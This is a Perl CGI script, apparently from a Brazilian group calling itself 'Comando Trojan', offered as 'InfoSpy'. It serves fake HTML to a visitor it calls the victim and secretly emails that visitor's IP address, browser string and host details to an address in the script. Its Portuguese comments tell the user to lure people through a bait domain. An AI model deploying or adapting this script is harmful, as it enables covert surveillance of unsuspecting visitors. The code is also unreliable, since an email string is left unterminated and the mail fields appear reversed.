#/usr/bin/perl
################################################
#                                              #
#**********************************************#
#*    _           _                           *#
#* |\_\\-\     /-//_/|                        *#
#* |   \\-|   |-//   |                        *#
#*  \ /~\\_____//~\ /                         *#
#*   `   /     \   ´                          *#
#*      | () () |       Comando Trojan        *#
#*       \  ^  /              -=-             *#
#*        |||||    www.comandotrojan.cjb.net  *#
#*        |||||                               *#
#*                                            *#
#**********************************************#
#                                              #
#    Vai Abaixo o CGI InfoSpy by iradium       #
#                                              #
#      Por Favor Preserve estas Linhas         #
#                                              #
#                 chmod 755                    #
#                                              #
################################################


print "Content-type: text/html\n\n";

$c = "contador.txt";
#Nome do .txt log
$mailprog = "/usr/sbin/sendmail -t"; 
#Preste Atenção o real caminho do email no seu server
$emailadm = "seu_email\@seu_site.com.br;
#Deixe o \ no email
$vitima = "lamer_entrou@se_fudeu.com";
#Deixe como estar
#Lembrar de fazer um domínio tipo www.entrem.cjb.net e por index.cgi

print <<EOF;
 +++ Coloque aqui o html fictício para ser exibido +++
EOF

open (N, "$c");
$n = <N>;
close (N);

$n++;

open (NE, ">$c");
print NE "$n";
close (NE);

                open (MAIL, "|$mailprog") || print "Can't open $mailprog
.\n";
                print MAIL "To: $vitima \n";
                print MAIL "From: $emailadm\n";
                print MAIL "Subject: Visita\n\n";
                print MAIL "$ENV{'REMOTE_ADDR'} \n $ENV{'HTTP_USER_AGENT'} \n  $ENV{'REMOTE_HOST'} \n $ENV{'REMOTE_USER'} $n\n\n ";
                close MAIL;

#FIM DO ARQUIVO